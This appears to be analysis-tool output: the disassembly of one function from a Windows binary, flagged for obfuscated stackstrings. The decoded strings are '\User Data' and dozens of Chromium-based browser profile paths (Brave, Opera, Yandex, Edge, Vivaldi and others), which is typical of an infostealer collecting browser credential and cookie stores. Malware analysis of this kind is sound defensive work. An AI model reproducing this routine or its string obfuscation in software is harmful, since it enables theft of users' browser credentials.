Function at 0x40fe77
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, dword [edi + 0xb8c]
test esi, esi
jne 0x40fe97
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0x18b4
push esi
call fcn.0041fad7
push 0x16
push edi
call fcn.0041c307
add esp, 0x10
mov dword [esi + 0x18b0], eax
test eax, eax
je 0x40fe8f
push ebx
xor ecx, ecx
push 0x2a
push ecx
lea edx, [ebp - 0x462]
push edx
mov dword [ebp - 0x478], 0x55005c
mov dword [ebp - 0x474], 0x650073
mov dword [ebp - 0x470], 0x200072
mov dword [ebp - 0x46c], 0x610044
mov dword [ebp - 0x468], 0x610074
mov word [ebp - 0x464], cx
call fcn.0041fb27
lea eax, [ebp - 0x478]
push eax
call fcn.0041fca7
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x478]
push edx
lea eax, [esi + 4]
push eax
call fcn.0041faa7
push 0
push 3
lea ebx, [esi + 0x14a0]
push ebx
push edi
call fcn.0040c657
push 0
lea eax, [esi + 0x16a8]
push 1
push eax
push edi
call fcn.0040c657
push ebx
call fcn.0041fca7
mov dword [esi + 0x1498], eax
lea eax, [esi + 0x16a8]
add esp, 0x40
push eax
call fcn.0041fca7
mov dword [esi + 0x149c], eax
mov eax, dword [esi + 0x1498]
add esp, 4
pop ebx
test eax, eax
je 0x40ff92
cmp word [esi + eax*2 + 0x149e], 0x5c
je 0x40ff92
mov ecx, 0x5c
mov word [esi + eax*2 + 0x14a0], cx
inc dword [esi + 0x1498]
mov eax, dword [esi + 0x149c]
test eax, eax
je 0x40ffba
cmp word [esi + eax*2 + 0x16a6], 0x5c
je 0x40ffba
mov edx, 0x5c
mov word [esi + eax*2 + 0x16a8], dx
inc dword [esi + 0x149c]
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x560041
mov dword [ebp - 0x11c], 0x5c0047
mov dword [ebp - 0x118], 0x720042
mov dword [ebp - 0x114], 0x77006f
mov dword [ebp - 0x110], 0x650073
mov dword [ebp - 0x10c], 0x72
call fcn.0041fca7
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x120]
push edx
lea eax, [esi + 0x4d8]
push eax
call fcn.0041faa7
lea ecx, [ebp - 0x18]
push ecx
mov dword [ebp - 0x18], 0x69004b
mov dword [ebp - 0x14], 0x7a006e
mov dword [ebp - 0x10], 0x61
call fcn.0041fca7
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x18]
push eax
lea ecx, [esi + 0x518]
push ecx
call fcn.0041faa7
lea eax, [ebp - 0xf0]
push eax
mov dword [ebp - 0xf0], 0x520055
mov dword [ebp - 0xec], 0x720042
mov dword [ebp - 0xe8], 0x77006f
mov dword [ebp - 0xe4], 0x650073
mov dword [ebp - 0xe0], 0x72
call fcn.0041fca7
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0xf0]
push edx
lea eax, [esi + 0x558]
push eax
call fcn.0041faa7
lea eax, [ebp - 0x38c]
xor edx, edx
push eax
mov dword [ebp - 0x38c], 0x560041
mov dword [ebp - 0x388], 0x530041
mov dword [ebp - 0x384], 0x200054
mov dword [ebp - 0x380], 0x6f0053
mov dword [ebp - 0x37c], 0x740066
mov dword [ebp - 0x378], 0x610077
mov dword [ebp - 0x374], 0x650072
mov dword [ebp - 0x370], 0x42005c
mov dword [ebp - 0x36c], 0x6f0072
mov dword [ebp - 0x368], 0x730077
mov dword [ebp - 0x364], 0x720065
mov word [ebp - 0x360], dx
call fcn.0041fca7
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x38c]
push edx
lea eax, [esi + 0x598]
push eax
call fcn.0041faa7
add esp, 0x40
lea ecx, [ebp - 0xc8]
xor eax, eax
push ecx
mov dword [ebp - 0xc8], 0x610053
mov dword [ebp - 0xc4], 0x61006c
mov dword [ebp - 0xc0], 0x57006d
mov dword [ebp - 0xbc], 0x620065
mov word [ebp - 0xb8], ax
call fcn.0041fca7
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0xc8]
push eax
lea ecx, [esi + 0x5d8]
push ecx
call fcn.0041faa7
lea ecx, [ebp - 0x258]
xor eax, eax
push ecx
mov dword [ebp - 0x258], 0x430043
mov dword [ebp - 0x254], 0x65006c
mov dword [ebp - 0x250], 0x6e0061
mov dword [ebp - 0x24c], 0x720065
mov dword [ebp - 0x248], 0x420020
mov dword [ebp - 0x244], 0x6f0072
mov dword [ebp - 0x240], 0x730077
mov dword [ebp - 0x23c], 0x720065
mov word [ebp - 0x238], ax
call fcn.0041fca7
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x258]
push eax
lea ecx, [esi + 0x618]
push ecx
call fcn.0041faa7
lea edx, [ebp - 0x1f0]
xor ecx, ecx
push edx
mov dword [ebp - 0x1f0], 0x70004f
mov dword [ebp - 0x1ec], 0x720065
mov dword [ebp - 0x1e8], 0x200061
mov dword [ebp - 0x1e4], 0x6f0053
mov dword [ebp - 0x1e0], 0x740066
mov dword [ebp - 0x1dc], 0x610077
mov dword [ebp - 0x1d8], 0x650072
mov word [ebp - 0x1d4], cx
call fcn.0041fca7
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x1f0]
push ecx
lea edx, [esi + 0x658]
push edx
call fcn.0041faa7
lea eax, [ebp - 0x2a8]
xor edx, edx
push eax
mov dword [ebp - 0x2a8], 0x610059
mov dword [ebp - 0x2a4], 0x64006e
mov dword [ebp - 0x2a0], 0x780065
mov dword [ebp - 0x29c], 0x59005c
mov dword [ebp - 0x298], 0x6e0061
mov dword [ebp - 0x294], 0x650064
mov dword [ebp - 0x290], 0x420078
mov dword [ebp - 0x28c], 0x6f0072
mov dword [ebp - 0x288], 0x730077
mov dword [ebp - 0x284], 0x720065
mov word [ebp - 0x280], dx
call fcn.0041fca7
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x2a8]
push edx
lea eax, [esi + 0x698]
push eax
call fcn.0041faa7
lea eax, [ebp - 0x90]
add esp, 0x40
push eax
mov dword [ebp - 0x90], 0x6c0053
mov dword [ebp - 0x8c], 0x6d0069
mov dword [ebp - 0x88], 0x65006a
mov dword [ebp - 0x84], 0x74
call fcn.0041fca7
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x90]
push edx
lea eax, [esi + 0x6d8]
push eax
call fcn.0041faa7
mov dword [ebp - 0x234], 0x360033
mov dword [ebp - 0x230], 0x430030
lea eax, [ebp - 0x234]
xor edx, edx
push eax
mov dword [ebp - 0x22c], 0x720068
mov dword [ebp - 0x228], 0x6d006f
mov dword [ebp - 0x224], 0x5c0065
mov dword [ebp - 0x220], 0x680043
mov dword [ebp - 0x21c], 0x6f0072
mov dword [ebp - 0x218], 0x65006d
mov word [ebp - 0x214], dx
call fcn.0041fca7
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x234]
push edx
lea eax, [esi + 0x718]
push eax
call fcn.0041faa7
lea eax, [ebp - 0x154]
push eax
mov dword [ebp - 0x154], 0x6f0043
mov dword [ebp - 0x150], 0x6f006d
mov dword [ebp - 0x14c], 0x6f0064
mov dword [ebp - 0x148], 0x44005c
mov dword [ebp - 0x144], 0x610072
mov dword [ebp - 0x140], 0x6f0067
mov dword [ebp - 0x13c], 0x6e
call fcn.0041fca7
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x154]
push edx
lea eax, [esi + 0x758]
push eax
call fcn.0041faa7
lea eax, [ebp - 0x35c]
xor edx, edx
push eax
mov dword [ebp - 0x35c], 0x61004d
mov dword [ebp - 0x358], 0x6c0070
mov dword [ebp - 0x354], 0x530065
mov dword [ebp - 0x350], 0x750074
mov dword [ebp - 0x34c], 0x690064
mov dword [ebp - 0x348], 0x5c006f
mov dword [ebp - 0x344], 0x680043
mov dword [ebp - 0x340], 0x6f0072
mov dword [ebp - 0x33c], 0x65006d
mov dword [ebp - 0x338], 0x6c0050
mov dword [ebp - 0x334], 0x730075
mov word [ebp - 0x330], dx
call fcn.0041fca7
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x35c]
push edx
lea eax, [esi + 0x798]
push eax
call fcn.0041faa7
lea ecx, [ebp - 0xb4]
add esp, 0x40
xor eax, eax
push ecx
mov dword [ebp - 0xb4], 0x680043
mov dword [ebp - 0xb0], 0x6f0072
mov dword [ebp - 0xac], 0x69006d
mov dword [ebp - 0xa8], 0x6d0075
mov word [ebp - 0xa4], ax
call fcn.0041fca7
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0xb4]
push eax
lea ecx, [esi + 0x7d8]
push ecx
call fcn.0041faa7
lea edx, [ebp - 0x30]
push edx
mov dword [ebp - 0x30], 0x6f0054
mov dword [ebp - 0x2c], 0x630072
mov dword [ebp - 0x28], 0x68
call fcn.0041fca7
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x30]
push ecx
lea edx, [esi + 0x818]
push edx
call fcn.0041faa7
lea ecx, [ebp - 0x3f8]
push ecx
mov dword [ebp - 0x3f8], 0x720042
mov dword [ebp - 0x3f4], 0x760061
mov dword [ebp - 0x3f0], 0x530065
mov dword [ebp - 0x3ec], 0x66006f
mov dword [ebp - 0x3e8], 0x770074
mov dword [ebp - 0x3e4], 0x720061
mov dword [ebp - 0x3e0], 0x5c0065
mov dword [ebp - 0x3dc], 0x720042
mov dword [ebp - 0x3d8], 0x760061
mov dword [ebp - 0x3d4], 0x2d0065
mov dword [ebp - 0x3d0], 0x720042
mov dword [ebp - 0x3cc], 0x77006f
mov dword [ebp - 0x3c8], 0x650073
mov dword [ebp - 0x3c4], 0x72
call fcn.0041fca7
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x3f8]
push eax
lea ecx, [esi + 0x858]
push ecx
call fcn.0041faa7
lea ecx, [ebp - 0x70]
push ecx
mov dword [ebp - 0x70], 0x720049
mov dword [ebp - 0x6c], 0x640069
mov dword [ebp - 0x68], 0x750069
mov dword [ebp - 0x64], 0x6d
call fcn.0041fca7
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [esi + 0x898]
push ecx
call fcn.0041faa7
lea ecx, [ebp - 0x3c0]
add esp, 0x40
push ecx
mov dword [ebp - 0x3c0], 0x70004f
mov dword [ebp - 0x3bc], 0x720065
mov dword [ebp - 0x3b8], 0x200061
mov dword [ebp - 0x3b4], 0x6f0053
mov dword [ebp - 0x3b0], 0x740066
mov dword [ebp - 0x3ac], 0x610077
mov dword [ebp - 0x3a8], 0x650072
mov dword [ebp - 0x3a4], 0x4f005c
mov dword [ebp - 0x3a0], 0x650070
mov dword [ebp - 0x39c], 0x610072
mov dword [ebp - 0x398], 0x4e0020
mov dword [ebp - 0x394], 0x6f0065
mov dword [ebp - 0x390], 0x6e
call fcn.0041fca7
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [esi + 0x8d8]
push ecx
call fcn.0041faa7
lea edx, [ebp - 0x108]
push edx
mov dword [ebp - 0x108], 0x530037
mov dword [ebp - 0x104], 0x610074
mov dword [ebp - 0x100], 0x5c0072
mov dword [ebp - 0xfc], 0x530037
mov dword [ebp - 0xf8], 0x610074
mov dword [ebp - 0xf4], 0x72
call fcn.0041fca7
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x108]
push ecx
lea edx, [esi + 0x918]
push edx
call fcn.0041faa7
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x24], 0x6d0041
mov dword [ebp - 0x20], 0x670069
mov dword [ebp - 0x1c], 0x6f
call fcn.0041fca7
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x24]
push edx
lea eax, [esi + 0x958]
push eax
call fcn.0041faa7
lea ecx, [ebp - 0xc]
push ecx
mov dword [ebp - 0xc], 0x6c0042
mov dword [ebp - 8], 0x730069
mov dword [ebp - 4], 0x6b
call fcn.0041fca7
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0xc]
push eax
lea ecx, [esi + 0x998]
push ecx
call fcn.0041faa7
lea edx, [ebp - 0x138]
add esp, 0x40
push edx
mov dword [ebp - 0x138], 0x650043
mov dword [ebp - 0x134], 0x74006e
mov dword [ebp - 0x130], 0x720042
mov dword [ebp - 0x12c], 0x77006f
mov dword [ebp - 0x128], 0x650073
mov dword [ebp - 0x124], 0x72
call fcn.0041fca7
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x138]
push ecx
lea edx, [esi + 0x9d8]
push edx
call fcn.0041faa7
lea ecx, [ebp - 0x40]
xor eax, eax
push ecx
mov dword [ebp - 0x40], 0x680043
mov dword [ebp - 0x3c], 0x640065
mov dword [ebp - 0x38], 0x74006f
mov word [ebp - 0x34], ax
call fcn.0041fca7
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x40]
push eax
lea ecx, [esi + 0xa18]
push ecx
call fcn.0041faa7
lea edx, [ebp - 0x1d0]
xor ecx, ecx
push edx
mov dword [ebp - 0x1d0], 0x6f0043
mov dword [ebp - 0x1cc], 0x430063
mov dword [ebp - 0x1c8], 0x63006f
mov dword [ebp - 0x1c4], 0x42005c
mov dword [ebp - 0x1c0], 0x6f0072
mov dword [ebp - 0x1bc], 0x730077
mov dword [ebp - 0x1b8], 0x720065
mov word [ebp - 0x1b4], cx
call fcn.0041fca7
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x1d0]
push ecx
lea edx, [esi + 0xa58]
push edx
call fcn.0041faa7
lea edx, [ebp - 0x27c]
xor ecx, ecx
push edx
mov dword [ebp - 0x27c], 0x6c0045
mov dword [ebp - 0x278], 0x6d0065
mov dword [ebp - 0x274], 0x6e0065
mov dword [ebp - 0x270], 0x730074
mov dword [ebp - 0x26c], 0x420020
mov dword [ebp - 0x268], 0x6f0072
mov dword [ebp - 0x264], 0x730077
mov dword [ebp - 0x260], 0x720065
mov word [ebp - 0x25c], cx
call fcn.0041fca7
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x27c]
push ecx
lea edx, [esi + 0xa98]
push edx
call fcn.0041faa7
lea eax, [ebp - 0x300]
add esp, 0x40
xor edx, edx
push eax
mov dword [ebp - 0x300], 0x700045
mov dword [ebp - 0x2fc], 0x630069
mov dword [ebp - 0x2f8], 0x500020
mov dword [ebp - 0x2f4], 0x690072
mov dword [ebp - 0x2f0], 0x610076
mov dword [ebp - 0x2ec], 0x790063
mov dword [ebp - 0x2e8], 0x420020
mov dword [ebp - 0x2e4], 0x6f0072
mov dword [ebp - 0x2e0], 0x730077
mov dword [ebp - 0x2dc], 0x720065
mov word [ebp - 0x2d8], dx
call fcn.0041fca7
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x300]
push edx
lea eax, [esi + 0xad8]
push eax
call fcn.0041faa7
lea edx, [ebp - 0x50]
xor ecx, ecx
push edx
mov dword [ebp - 0x50], 0x6f004b
mov dword [ebp - 0x4c], 0x65006d
mov dword [ebp - 0x48], 0x610074
mov word [ebp - 0x44], cx
call fcn.0041fca7
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x50]
push ecx
lea edx, [esi + 0xb18]
push edx
call fcn.0041faa7
lea edx, [ebp - 0x80]
push edx
mov dword [ebp - 0x80], 0x72004f
mov dword [ebp - 0x7c], 0x690062
mov dword [ebp - 0x78], 0x750074
mov dword [ebp - 0x74], 0x6d
call fcn.0041fca7
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x80]
push ecx
lea edx, [esi + 0xb58]
push edx
call fcn.0041faa7
mov dword [ebp - 0x210], 0x700053
mov dword [ebp - 0x20c], 0x740075
mov dword [ebp - 0x208], 0x69006e
mov dword [ebp - 0x204], 0x5c006b
mov dword [ebp - 0x200], 0x700053
mov dword [ebp - 0x1fc], 0x740075
mov dword [ebp - 0x1f8], 0x69006e
mov dword [ebp - 0x1f4], 0x6b
lea ecx, [ebp - 0x210]
push ecx
call fcn.0041fca7
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x210]
push eax
lea ecx, [esi + 0xb98]
push ecx
call fcn.0041faa7
lea edx, [ebp - 0x1b0]
add esp, 0x40
xor ecx, ecx
push edx
mov dword [ebp - 0x1b0], 0x430075
mov dword [ebp - 0x1ac], 0x7a006f
mov dword [ebp - 0x1a8], 0x65004d
mov dword [ebp - 0x1a4], 0x690064
mov dword [ebp - 0x1a0], 0x5c0061
mov dword [ebp - 0x19c], 0x720055
mov dword [ebp - 0x198], 0x6e0061
mov word [ebp - 0x194], cx
call fcn.0041fca7
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x1b0]
push ecx
lea edx, [esi + 0xbd8]
push edx
call fcn.0041faa7
lea eax, [ebp - 0x2d4]
xor edx, edx
push eax
mov dword [ebp - 0x2d4], 0x650046
mov dword [ebp - 0x2d0], 0x72006e
mov dword [ebp - 0x2cc], 0x720069
mov dword [ebp - 0x2c8], 0x490020
mov dword [ebp - 0x2c4], 0x63006e
mov dword [ebp - 0x2c0], 0x53005c
mov dword [ebp - 0x2bc], 0x65006c
mov dword [ebp - 0x2b8], 0x700069
mov dword [ebp - 0x2b4], 0x69006e
mov dword [ebp - 0x2b0], 0x350072
mov word [ebp - 0x2ac], dx
call fcn.0041fca7
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x2d4]
push edx
lea eax, [esi + 0xc18]
push eax
call fcn.0041faa7
lea ecx, [ebp - 0x32c]
xor eax, eax
push ecx
mov dword [ebp - 0x32c], 0x610043
mov dword [ebp - 0x328], 0x610074
mov dword [ebp - 0x324], 0x69006c
mov dword [ebp - 0x320], 0x61006e
mov dword [ebp - 0x31c], 0x720047
mov dword [ebp - 0x318], 0x75006f
mov dword [ebp - 0x314], 0x5c0070
mov dword [ebp - 0x310], 0x690043
mov dword [ebp - 0x30c], 0x720074
mov dword [ebp - 0x308], 0x6f0069
mov word [ebp - 0x304], ax
call fcn.0041fca7
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x32c]
push eax
lea ecx, [esi + 0xc58]
push ecx
call fcn.0041faa7
mov dword [ebp - 0x170], 0x6f0043
mov dword [ebp - 0x16c], 0x77006f
mov dword [ebp - 0x168], 0x6e006f
mov dword [ebp - 0x164], 0x43005c
mov dword [ebp - 0x160], 0x6f006f
mov dword [ebp - 0x15c], 0x6f0077
mov dword [ebp - 0x158], 0x6e
lea ecx, [ebp - 0x170]
push ecx
call fcn.0041fca7
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x170]
push eax
lea ecx, [esi + 0xc98]
push ecx
call fcn.0041faa7
lea eax, [ebp - 0x60]
add esp, 0x40
xor edx, edx
push eax
mov dword [ebp - 0x60], 0x69006c
mov dword [ebp - 0x5c], 0x620065
mov dword [ebp - 0x58], 0x6f0061
mov word [ebp - 0x54], dx
call fcn.0041fca7
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x60]
push edx
lea eax, [esi + 0xcd8]
push eax
call fcn.0041faa7
lea ecx, [ebp - 0xdc]
xor eax, eax
push ecx
mov dword [ebp - 0xdc], 0x490051
mov dword [ebp - 0xd8], 0x200050
mov dword [ebp - 0xd4], 0x750053
mov dword [ebp - 0xd0], 0x660072
mov word [ebp - 0xcc], ax
call fcn.0041fca7
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0xdc]
push eax
lea ecx, [esi + 0xd18]
push ecx
call fcn.0041faa7
lea edx, [ebp - 0x190]
xor ecx, ecx
push edx
mov dword [ebp - 0x190], 0x69004d
mov dword [ebp - 0x18c], 0x720063
mov dword [ebp - 0x188], 0x73006f
mov dword [ebp - 0x184], 0x66006f
mov dword [ebp - 0x180], 0x5c0074
mov dword [ebp - 0x17c], 0x640045
mov dword [ebp - 0x178], 0x650067
mov word [ebp - 0x174], cx
call fcn.0041fca7
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x190]
push ecx
lea edx, [esi + 0xd58]
push edx
call fcn.0041faa7
lea edx, [ebp - 0xa0]
push edx
mov dword [ebp - 0xa0], 0x690056
mov dword [ebp - 0x9c], 0x610076
mov dword [ebp - 0x98], 0x64006c
mov dword [ebp - 0x94], 0x69
call fcn.0041fca7
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0xa0]
push ecx
add esi, 0xd98
push esi
call fcn.0041faa7
add esp, 0x40
mov dword [ebp - 0x438], 0xa000d
mov dword [ebp - 0x434], 0x680043
mov dword [ebp - 0x430], 0x6f0072
mov dword [ebp - 0x42c], 0x69006d
mov dword [ebp - 0x428], 0x6d0075
mov dword [ebp - 0x424], 0x520020
xor eax, eax
mov dword [ebp - 0x40c], eax
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x404], eax
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3fc], eax
lea eax, [ebp - 0x438]
push eax
mov dword [ebp - 0x420], 0x630065
mov dword [ebp - 0x41c], 0x76006f
mov dword [ebp - 0x418], 0x720065
mov dword [ebp - 0x414], 0xd0079
mov dword [ebp - 0x410], 0xa
call fcn.0041fca7
lea ecx, [eax + eax + 2]
mov eax, dword [edi + 0xa08]
push ecx
lea edx, [ebp - 0x438]
push edx
push eax
call fcn.0041faa7
mov ecx, dword [edi + 0xa08]
push ecx
call fcn.0041fca7
add eax, eax
push 9
push edi
mov dword [edi + 0xa0c], eax
call fcn.0040f147
add esp, 0x1c
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret